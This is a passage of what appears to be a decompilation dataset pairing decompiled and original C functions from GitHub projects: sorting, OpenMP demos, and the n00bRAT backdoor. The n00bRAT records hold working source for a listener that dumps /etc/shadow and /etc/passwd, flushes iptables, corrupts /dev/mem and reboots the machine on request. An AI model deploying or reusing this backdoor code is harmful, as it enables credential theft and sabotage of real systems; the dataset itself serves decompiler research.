(*comp)(const void *, const void *))\n{\n int mid;\n mid = floor(num / 2);\n while(mid >= 0) {\n sift(base, mid - 1, num, width, comp);\n mid--;\n }\n}", "canonical_original_code": "static void heapify(void *base, unsigned int num, unsigned int width, int (*comp)(void *, void *))\n{\n int mid;\n mid = floor(num / 2);\n while(mid >= 0) {\n sift(base, mid - 1, num, width, comp);\n mid--;\n }\n}", "variable_types": [ [ "base", "void *" ], [ "num", "unsigned int" ], [ "width", "unsigned int" ], [ "comp", "int (*)(void *, void *)" ], [ "mid", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "c4344e6511d5aa58e1a9820e0b53ec450ae7598eda7611c352cda252954efa6c" }, { "name": "hsort", "canonical_name": "func3", "repo": "rashmi18/SwissKnife", "decompiled_code": "double __fastcall hsort(char *a1, unsigned int a2, unsigned int a3, int (__fastcall *a4)(__int64, __int64))\n{\ndouble result; // xmm0_8\nunsigned int v7; // [rsp+14h] [rbp-1Ch]\n\nv7 = a2;\nif ( a2 )\n{\nheapify((__int64)a1, a2, a3, a4);\ndo\n{\nswap(a1, &a1[a3 * --v7], a3);\nif ( v7 )\nresult = sift((__int64)a1, 0, v7, a3, a4);\n}\nwhile ( v7 );\n}\nreturn result;\n}\n", "canonical_decompiled_code": "double __fastcall func3(char *a1, unsigned int a2, unsigned int a3, int (__fastcall *a4)(__int64, __int64))\n{\ndouble result; // xmm0_8\nunsigned int v7; // [rsp+14h] [rbp-1Ch]\n\nv7 = a2;\nif ( a2 )\n{\nfunc2((__int64)a1, a2, a3, a4);\ndo\n{\nfunc0(a1, &a1[a3 * --v7], a3);\nif ( v7 )\nresult = func1((__int64)a1, 0, v7, a3, a4);\n}\nwhile ( v7 );\n}\nreturn result;\n}", "original_code": "void hsort(void *base, unsigned num, unsigned width, int (*comp)(const void *, const void *))\n{\n char *next;\n char *last;\n int i;\n if(num == 0)\n return;\n heapify(base, num, width, comp);\n do\n {\n next = base;\n last = (char *) base + (num - 1) * width;\n swap(next, last, width);\n num--;\n if(num > 0) {\n sift(base, 0, num, width, comp);\n }\n }while(num > 0);\n}", "canonical_original_code": "void hsort(void *base, unsigned int num, unsigned int width, int (*comp)(void *, void *))\n{\n char *next;\n char *last;\n int i;\n if(num == 0)\n return;\n heapify(base, num, width, comp);\n do\n {\n next = base;\n last = (char *) base + (num - 1) * width;\n swap(next, last, width);\n num--;\n if(num > 0) {\n sift(base, 0, num, width, comp);\n }\n }while(num > 0);\n}", "variable_types": [ [ "base", "void *" ], [ "num", "unsigned int" ], [ "width", "unsigned int" ], [ "comp", "int (*)(void *, void *)" ], [ "next", "char *" ], [ "last", "char *" ], [ "i", "int" ] ], "return_type": "void", "user_defined_types": [], "binary_hash": "c4344e6511d5aa58e1a9820e0b53ec450ae7598eda7611c352cda252954efa6c" } ]
5ba32995620596c8887ee6a1b7c2321990d0821236371e8bcbad77a9af9817d1
kishkaru/OpenMP_Demos
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "dotp", "->", "main" ], [ "gen_array", "->", "main" ], [ "oracle", "->", "main" ], [ "main", "->", "gen_array", "oracle", "dotp" ], [ "dotp__omp_fn_0", "->" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "dotp", "double func7()\n{\nGOMP_parallel();\nreturn 0.0;\n}" ], [ "gen_array", "double *__fastcall func8(int a1)\n{\ndouble *v2; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nv2 = (double *)malloc(8LL * a1);\nfor ( i = 0; i < a1; ++i )\nv2[i] = (double)(rand() % 1000);\nreturn v2;\n}" ], [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\ndouble v3; // xmm0_8\ndouble v5; // [rsp+0h] [rbp-40h]\ndouble v6; // [rsp+10h] [rbp-30h]\nint v7; // [rsp+1Ch] [rbp-24h]\ndouble v8; // [rsp+20h] [rbp-20h]\ndouble *v9; // [rsp+28h] [rbp-18h]\ndouble *v10; // [rsp+30h] [rbp-10h]\nint j; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\n\nv10 = func8(1000000);\nv9 = func8(1000000);\nv3 = func9((__int64)v10, (__int64)v9);\nv8 = v3;\nv7 = omp_get_max_threads();\nfor ( i = 1; i <= v7; ++i )\n{\nomp_set_num_threads();\nomp_get_wtime();\nv6 = v3;\nfor ( j = 0; j <= 999; ++j )\n{\nv5 = func7();\nv3 = v5;\nif ( v5 != v8 )\n{\nprintf(\"Incorrect dotp %f %f\\n\", v5, v8);\nreturn 0;\n}\n}\nomp_get_wtime();\nv3 = v3 - v6;\nprintf(\" %d thread(s) took %f seconds\\n\", (unsigned int)i, v3);\n}\nreturn 0;\n}" ], [ "dotp__omp_fn_0", "__int64 __fastcall func10(double *a1)\n{\nint v1; // ebx\nint v2; // esi\nint v3; // ecx\nint v4; // eax\nint v5; // eax\ndouble v7; // [rsp+10h] [rbp-30h]\n__int64 v8; // [rsp+18h] [rbp-28h]\nint v9; // [rsp+24h] [rbp-1Ch]\ndouble v10; // [rsp+28h] [rbp-18h]\n\nv8 = *((_QWORD *)a1 + 1);\nv7 = *a1;\nv10 = 0.0;\nv1 = omp_get_num_threads();\nv2 = omp_get_thread_num();\nv3 = 1000000 / v1;\nv4 = 1000000 % v1;\nif ( v2 < 1000000 % v1 )\n{\nv4 = 0;\n++v3;\n}\nv5 = v3 * v2 + v4;\nif ( v5 < v5 + v3 )\n{\nv9 = v5;\ndo\n{\nv10 = *(double *)(8LL * v9 + v8) * *(double *)(8LL * v9 + *(_QWORD *)&v7) + v10;\n++v9;\n}\nwhile ( v9 < v5 + v3 );\n}\nGOMP_barrier();\nGOMP_critical_start();\na1[2] = a1[2] + v10;\nreturn GOMP_critical_end();\n}" ], [ "_libc_csu_init", "void __fastcall func11(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func12(void)\n{\n;\n}" ] ]
[ { "name": "oracle", "canonical_name": "func9", "repo": "kishkaru/OpenMP_Demos", "decompiled_code": "double __fastcall oracle(__int64 a1, __int64 a2)\n{\nint i; // [rsp+14h] [rbp-Ch]\ndouble v4; // [rsp+18h] [rbp-8h]\n\nv4 = 0.0;\nfor ( i = 0; i <= 999999; ++i )\nv4 = *(double *)(8LL * i + a2) * *(double *)(8LL * i + a1) + v4;\nreturn v4;\n}\n", "canonical_decompiled_code": "double __fastcall func9(__int64 a1, __int64 a2)\n{\nint i; // [rsp+14h] [rbp-Ch]\ndouble v4; // [rsp+18h] [rbp-8h]\n\nv4 = 0.0;\nfor ( i = 0; i <= 999999; ++i )\nv4 = *(double *)(8LL * i + a2) * *(double *)(8LL * i + a1) + v4;\nreturn v4;\n}", "original_code": "double oracle(double* x, double* y) {\n double sum = 0.0;\n for (int i = 0; i < 1000000; i++)\n sum += x[i] * y[i];\n return sum;\n}", "canonical_original_code": "double oracle(double *x, double *y) {\n double sum = 0.0;\n for (int i = 0; i < 1000000; i++)\n sum += x[i] * y[i];\n return sum;\n}", "variable_types": [ [ "x", "double *" ], [ "y", "double *" ], [ "sum", "double" ], [ "i", "int" ] ], "return_type": "double", "user_defined_types": [], "binary_hash": "5ba32995620596c8887ee6a1b7c2321990d0821236371e8bcbad77a9af9817d1" } ]
b0115ac49d744c6445e6610d0f7de57095cbe0d73fe5632d90216559ef06caea
kishkaru/OpenMP_Demos
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "v_add", "->", "verify", "main" ], [ "gen_array", "->", "main" ], [ "verify", "->", "v_add", "main" ], [ "main", "->", "gen_array", "verify", "v_add" ], [ "v_add__omp_fn_0", "->" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "char *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "char *func5()\n{\nchar *result; // rax\n\nif ( !_bss_start )\n{\nresult = func3();\n_bss_start = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "v_add", "__int64 func7()\n{\nomp_get_max_threads();\nreturn GOMP_parallel();\n}" ], [ "gen_array", "double *__fastcall func8(int a1)\n{\ndouble *v2; // [rsp+10h] [rbp-10h]\nint i; // [rsp+1Ch] [rbp-4h]\n\nv2 = (double *)malloc(8LL * a1);\nfor ( i = 0; i < a1; ++i )\nv2[i] = (double)(rand() % 10000);\nreturn v2;\n}" ], [ "main", "int __cdecl main(int argc, const char **argv, const char **envp)\n{\ndouble v3; // xmm0_8\nint result; // eax\nint v5; // [rsp+1Ch] [rbp-24h]\nvoid *v6; // [rsp+20h] [rbp-20h]\ndouble *v7; // [rsp+28h] [rbp-18h]\ndouble *v8; // [rsp+30h] [rbp-10h]\nint j; // [rsp+38h] [rbp-8h]\nint i; // [rsp+3Ch] [rbp-4h]\n\nv8 = func8(10000000);\nv7 = func8(10000000);\nv6 = malloc(0x4C4B400uLL);\nif ( (unsigned int)func9((__int64)v8, (__int64)v7) )\n{\nv5 = omp_get_max_threads();\nfor ( i = 1; i <= v5; ++i )\n{\nomp_set_num_threads();\nomp_get_wtime();\nfor ( j = 0; j <= 99; ++j )\nfunc7(v8, v7, v6);\nomp_get_wtime();\nv3 = v3 - v3;\nprintf(\" %d thread(s) took %f seconds\\n\", (unsigned int)i, v3);\n}\nresult = 0;\n}\nelse\n{\nputs(\"v_add does not match oracle\");\nresult = 0;\n}\nreturn result;\n}" ], [ "v_add__omp_fn_0", "__int64 __fastcall func10(__int64 *a1)\n{\n__int64 result; // rax\n__int64 v2; // [rsp+10h] [rbp-20h]\n__int64 v3; // [rsp+18h] [rbp-18h]\n__int64 v4; // [rsp+20h] [rbp-10h]\nint v5; // [rsp+28h] [rbp-8h]\nint i; // [rsp+2Ch] [rbp-4h]\n\nv5 = *((_DWORD *)a1 + 6);\nv4 = a1[2];\nv3 = a1[1];\nv2 = *a1;\nfor ( i = v5 * omp_get_thread_num(); ; ++i )\n{\nresult = v5 * ((unsigned int)omp_get_thread_num() + 1);\nif ( (int)result <= i )\nbreak;\n*(double *)(8LL * i + v4) = *(double *)(8LL * i + v3) + *(double *)(8LL * i + v2);\n}\nreturn result;\n}" ], [ "_libc_csu_init", "void __fastcall func11(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func12(void)\n{\n;\n}" ] ]
[ { "name": "verify", "canonical_name": "func9", "repo": "kishkaru/OpenMP_Demos", "decompiled_code": "__int64 __fastcall verify(__int64 a1, __int64 a2)\n{\ndouble *v3; // [rsp+18h] [rbp-18h]\ndouble *v4; // [rsp+20h] [rbp-10h]\nint j; // [rsp+28h] [rbp-8h]\nint i; // [rsp+2Ch] [rbp-4h]\n\nv4 = (double *)malloc(0x4C4B400uLL);\nv3 = (double *)malloc(0x4C4B400uLL);\nv_add(a1, a2, v4);\nfor ( i = 0; i <= 9999999; ++i )\nv3[i] = *(double *)(8LL * i + a2) + *(double *)(8LL * i + a1);\nfor ( j = 0; j <= 9999999; ++j )\n{\nif ( v3[j] != v4[j] )\nreturn 0LL;\n}\nreturn 1LL;\n}\n", "canonical_decompiled_code": "__int64 __fastcall func9(__int64 a1, __int64 a2)\n{\ndouble *v3; // [rsp+18h] [rbp-18h]\ndouble *v4; // [rsp+20h] [rbp-10h]\nint j; // [rsp+28h] [rbp-8h]\nint i; // [rsp+2Ch] [rbp-4h]\n\nv4 = (double *)malloc(0x4C4B400uLL);\nv3 = (double *)malloc(0x4C4B400uLL);\nfunc7(a1, a2, v4);\nfor ( i = 0; i <= 9999999; ++i )\nv3[i] = *(double *)(8LL * i + a2) + *(double *)(8LL * i + a1);\nfor ( j = 0; j <= 9999999; ++j )\n{\nif ( v3[j] != v4[j] )\nreturn 0LL;\n}\nreturn 1LL;\n}", "original_code": "int verify(double* x, double* y) {\n double *z_v_add = (double*) malloc(10000000*sizeof(double));\n double *z_oracle = (double*) malloc(10000000*sizeof(double));\n v_add(x, y, z_v_add);\n for(int i=0; i<10000000; i++)\n z_oracle[i] = x[i] + y[i];\n for(int i=0; i<10000000; i++)\n if(z_oracle[i] != z_v_add[i])\n return 0;\n return 1;\n}", "canonical_original_code": "int verify(double *x, double *y) {\n double *z_v_add = (double*) malloc(10000000*sizeof(double));\n double *z_oracle = (double*) malloc(10000000*sizeof(double));\n v_add(x, y, z_v_add);\n for(int i = 0; i<10000000; i++)\n z_oracle[i] = x[i] + y[i];\n for(int i = 0; i<10000000; i++)\n if(z_oracle[i] != z_v_add[i])\n return 0;\n return 1;\n}", "variable_types": [ [ "x", "double *" ], [ "y", "double *" ], [ "z_v_add", "double *" ], [ "z_oracle", "double *" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [], "binary_hash": "b0115ac49d744c6445e6610d0f7de57095cbe0d73fe5632d90216559ef06caea" } ]
2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6
abhishekkr/n00bRAT
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "main", "->", "dupStreamz", "getAXN", "tellClient" ], [ "dupStreamz", "->", "main" ], [ "tellClient", "->", "main" ], [ "getAXN", "->", "main", "getAXNCode" ], [ "getAXNCode", "->", "getAXN" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "void *func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "void *func5()\n{\nvoid *result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func11(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func12(void)\n{\n;\n}" ] ]
[ { "name": "main", "canonical_name": "main", "repo": "abhishekkr/n00bRAT", "decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nsocklen_t addr_len; // [rsp+Ch] [rbp-34h] BYREF\nstruct sockaddr v4; // [rsp+10h] [rbp-30h] BYREF\nstruct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF\nint v6; // [rsp+38h] [rbp-8h]\nunsigned int i; // [rsp+3Ch] [rbp-4h]\n\ndupStreamz(argc, argv, envp);\nfd = socket(2, 1, 0);\nif ( fd == -1 )\n{\nsystem(\"echo 'socket() error' >> zerror.log\");\nputs(\"server: socket() error\");\nexit(-1);\n}\naddr.sa_family = 2;\n*(_DWORD *)&addr.sa_data[2] = 0;\nfor ( i = 80; (int)i <= 65534; ++i )\n{\n*(_WORD *)addr.sa_data = htons(i);\n*(_QWORD *)&addr.sa_data[6] = 0LL;\nif ( bind(fd, &addr, 0x10u) != -1 )\nbreak;\nsystem(\"echo 'bind() error' >> zerror.log\");\nprintf(\"server: bind(%d) error\\n\", i);\nif ( (int)i > 65534 )\nexit(-1);\n}\nprintf(\"listing at :%d\", i);\nif ( listen(fd, 2) == -1 )\n{\nsystem(\"echo 'listen() error' >> zerror.log\");\nputs(\"server: listen() error\");\n}\nwhile ( 1 )\n{\naddr_len = 16;\nfd2 = accept(fd, &v4, &addr_len);\nif ( fd2 == -1 )\nbreak;\nv6 = recv(fd2, Request, 0xFFFFuLL, 0);\nif ( v6 <= 0 )\n{\nprintf(\"server: recv() error\");\nsystem(\"echo 'recv() error' >> zerror.log\");\n}\nelse\n{\nRequest[v6] = 0;\n}\naxnCode = getAXN();\ntellClient();\nclose(fd2);\nprintf(\"[+] %s\\n\", Request);\n}\nsystem(\"echo 'accept() error' >> zerror.log\");\nputs(\"server: accept() error\");\nexit(-1);\n}\n", "canonical_decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nsocklen_t addr_len; // [rsp+Ch] [rbp-34h] BYREF\nstruct sockaddr v4; // [rsp+10h] [rbp-30h] BYREF\nstruct sockaddr addr; // [rsp+20h] [rbp-20h] BYREF\nint v6; // [rsp+38h] [rbp-8h]\nunsigned int i; // [rsp+3Ch] [rbp-4h]\n\nfunc7(argc, argv, envp);\nfd = socket(2, 1, 0);\nif ( fd == -1 )\n{\nsystem(\"echo 'socket() error' >> zerror.log\");\nputs(\"server: socket() error\");\nexit(-1);\n}\naddr.sa_family = 2;\n*(_DWORD *)&addr.sa_data[2] = 0;\nfor ( i = 80; (int)i <= 65534; ++i )\n{\n*(_WORD *)addr.sa_data = htons(i);\n*(_QWORD *)&addr.sa_data[6] = 0LL;\nif ( bind(fd, &addr, 0x10u) != -1 )\nbreak;\nsystem(\"echo 'bind() error' >> zerror.log\");\nprintf(\"server: bind(%d) error\\n\", i);\nif ( (int)i > 65534 )\nexit(-1);\n}\nprintf(\"listing at :%d\", i);\nif ( listen(fd, 2) == -1 )\n{\nsystem(\"echo 'listen() error' >> zerror.log\");\nputs(\"server: listen() error\");\n}\nwhile ( 1 )\n{\naddr_len = 16;\nfd2 = accept(fd, &v4, &addr_len);\nif ( fd2 == -1 )\nbreak;\nv6 = recv(fd2, Request, 0xFFFFuLL, 0);\nif ( v6 <= 0 )\n{\nprintf(\"server: recv() error\");\nsystem(\"echo 'recv() error' >> zerror.log\");\n}\nelse\n{\nRequest[v6] = 0;\n}\naxnCode = func9();\nfunc8();\nclose(fd2);\nprintf(\"[+] %s\\n\", Request);\n}\nsystem(\"echo 'accept() error' >> zerror.log\");\nputs(\"server: accept() error\");\nexit(-1);\n}", "original_code": "int main()\n{\n int numbytes;\n struct sockaddr_in server;\n struct sockaddr_in client;\n int sin_size;\n dupStreamz();\n if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){\n system(\"echo 'socket() error' >> zerror.log\");\n printf(\"server: socket() error\\n\");\n exit(-1);\n }\n server.sin_family = 2;\n server.sin_addr.s_addr = ((in_addr_t) 0x00000000);\n int noobPort = 80;\n for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){\n server.sin_port = htons(noobPort);\n bzero(&(server.sin_zero),8);\n if(bind(fd,(struct sockaddr*)&server,sizeof(struct sockaddr))==-1){\n system(\"echo 'bind() error' >> zerror.log\");\n printf(\"server: bind(%d) error\\n\", noobPort);\n if (noobPort >= 65535) {\n exit(-1);\n }\n } else {\n break;\n }\n }\n printf(\"listing at :%d\", noobPort);\n if(listen(fd,2) == -1){\n system(\"echo 'listen() error' >> zerror.log\");\n printf(\"server: listen() error\\n\");\n }\n while(1){\n sin_size=sizeof(struct sockaddr_in);\n if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){\n system(\"echo 'accept() error' >> zerror.log\");\n printf(\"server: accept() error\\n\");\n exit(-1);\n }\n if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )\n {\n Request[numbytes]='\\0';\n }else{\n printf(\"server: recv() error\");\n system(\"echo 'recv() error' >> zerror.log\");\n }\n axnCode = getAXN();\n tellClient();\n close(fd2);\n printf(\"[+] %s\\n\", Request);\n }\n return 0;\n}", "canonical_original_code": "int main()\n{\n int numbytes;\n struct sockaddr_in server;\n struct sockaddr_in client;\n int sin_size;\n dupStreamz();\n if ((fd=socket(2, SOCK_STREAM, 0)) == -1 ){\n system(\"echo 'socket() error' >> zerror.log\");\n printf(\"server: socket() error\\n\");\n exit(-1);\n }\n server.sin_family = 2;\n server.sin_addr.s_addr = ((unsigned int) 0x00000000);\n int noobPort = 80;\n for (noobPort=80; noobPort < 65535; noobPort = noobPort+1){\n server.sin_port = htons(noobPort);\n bzero(&(server.sin_zero),8);\n if(bind(fd,(struct sockaddr *)&server,sizeof(struct sockaddr))==-1){\n system(\"echo 'bind() error' >> zerror.log\");\n printf(\"server: bind(%d) error\\n\", noobPort);\n if (noobPort >= 65535) {\n exit(-1);\n }\n } else {\n break;\n }\n }\n printf(\"listing at :%d\", noobPort);\n if(listen(fd,2) == -1){\n system(\"echo 'listen() error' >> zerror.log\");\n printf(\"server: listen() error\\n\");\n }\n while(1){\n sin_size=sizeof(struct sockaddr_in);\n if ((fd2 = accept(fd,(struct sockaddr *)&client,&sin_size))==-1){\n system(\"echo 'accept() error' >> zerror.log\");\n printf(\"server: accept() error\\n\");\n exit(-1);\n }\n if ( (numbytes = recv(fd2, Request, 65535, 0)) > 0 )\n {\n Request[numbytes]='\\0';\n }else{\n printf(\"server: recv() error\");\n system(\"echo 'recv() error' >> zerror.log\");\n }\n axnCode = getAXN();\n tellClient();\n close(fd2);\n printf(\"[+] %s\\n\", Request);\n }\n return 0;\n}", "variable_types": [ [ "numbytes", "int" ], [ "server", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "client", "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr { unsigned int s_addr; } sin_addr; unsigned char sin_zero[-1]; }" ], [ "sin_size", "int" ], [ "noobPort", "int" ] ], "return_type": "int", "user_defined_types": [ "struct sockaddr_in { unsigned short sin_family; unsigned short sin_port; struct in_addr sin_addr; unsigned char sin_zero[-1]; }", "struct sockaddr { unsigned short sa_family; char sa_data[14]; }", "struct in_addr { unsigned int s_addr; }" ], "binary_hash": "2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6" }, { "name": "dupStreamz", "canonical_name": "func7", "repo": "abhishekkr/n00bRAT", "decompiled_code": "int dupStreamz()\n{\nif ( pipe(pfds) == -1 )\n{\nsystem(\"echo 'IPC error' >> zerror.log\");\nperror(\"server: PiPiNG FlaW\");\nexit(1);\n}\nclose(1);\nreturn dup(dword_424124);\n}\n", "canonical_decompiled_code": "int func7()\n{\nif ( pipe(pfds) == -1 )\n{\nsystem(\"echo 'IPC error' >> zerror.log\");\nperror(\"server: PiPiNG FlaW\");\nexit(1);\n}\nclose(1);\nreturn dup(dword_424124);\n}", "original_code": "void dupStreamz(){\n if(pipe(pfds) == -1){\n system(\"echo 'IPC error' >> zerror.log\");\n perror(\"server: PiPiNG FlaW\");\n exit(1);\n }\n close(1);\n dup(pfds[1]);\n return;\n}", "canonical_original_code": "void dupStreamz(){\n if(pipe(pfds) == -1){\n system(\"echo 'IPC error' >> zerror.log\");\n perror(\"server: PiPiNG FlaW\");\n exit(1);\n }\n close(1);\n dup(pfds[1]);\n return;\n}", "variable_types": [], "return_type": "void", "user_defined_types": [], "binary_hash": "2670e8d1c1df87c39b98ed6a8d591e478ea6226125f9bae34b11ee9136e638e6" }, { "name": "tellClient", "canonical_name": "func8", "repo": "abhishekkr/n00bRAT", "decompiled_code": "ssize_t tellClient()\n{\nsize_t v0; // rbx\nsize_t v1; // rbx\nsize_t v2; // rbx\nsize_t v3; // rax\nsize_t v4; // rax\nsize_t v5; // rbx\nsize_t v6; // rax\nchar dest[65536]; // [rsp+0h] [rbp-20020h] BYREF\nchar buf[16]; // [rsp+10000h] [rbp-10020h] BYREF\nchar s[65532]; // [rsp+10010h] [rbp-10010h] BYREF\nint i; // [rsp+2000Ch] [rbp-14h]\n\nstrcpy(buf, \"HTTP 200 OK\");\nmemset(s, 0, 0xFFEFuLL);\nfor ( i = 0; ; ++i )\n{\nv0 = i;\nif ( v0 >= strlen(buf) )\nbreak;\nbuf[i] = 0;\n}\nfor ( i = 0; ; ++i )\n{\nv1 = i;\nif ( v1 >= strlen(dest) )\nbreak;\ndest[i] = 0;\n}\nfor ( i = 0; ; ++i )\n{\nv2 = i;\nif ( v2 >= strlen(httpResponse) )\nbreak;\nhttpResponse[i] = 0;\n}\nswitch ( axnCode )\n{\ncase -1:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"echo \\\"<br/><br/><i>n00bROOT</i>\\\"\");\nbreak;\ncase 0:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /dev/urandom > /dev/mem\");\nbreak;\ncase 1:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/passwd 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\");\nbreak;\ncase 2:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/shadow 2>&1 | sed 's/\\\\n/<br\\\\/>/g' | sed 's/\\\\r/<br\\\\/>/g'\");\nbreak;\ncase 3:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"cat /etc/resolv.conf 2>&1\");\nbreak;\ncase 4:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ps aux\");\nbreak;\ncase 5:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"iptables --flush 2>&1 && echo 'IPTables Entries Deleted'\");\nbreak;\ncase 6:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ifconfig -a 2>&1 || ip -a 2>&1 || networkctl --no-legend --no-pager status 2>&1\");\nbreak;\ncase 7:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"ifconfig -s 2>&1 || ip link 2>&1 || networkctl --no-legend --no-pager list 2>&1\");\nbreak;\ncase 8:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"poweroff 2>&1\");\nbreak;\ncase 9:\nstrcpy(httpResponse, httpResponse200);\nsystem(\"reboot 2>&1\");\nbreak;\ndefault:\nstrcpy(httpResponse, httpResponse400);\nsystem(\"echo \\\"HTTP 404\\\"\");\nbreak;\n}\nread(pfds[0], buf, 0xFFFFuLL);\nv3 = strlen(httpResponse);\nstrncat(dest, httpResponse, v3);\nv4 = strlen(buf);\nstrncat(dest, buf, v4);\nv5 = strlen(httpResponse);\nv6 = strlen(buf);\nreturn send(fd2, dest, v5 + v6, 0);\n}\n", "canonical_decompiled_code": 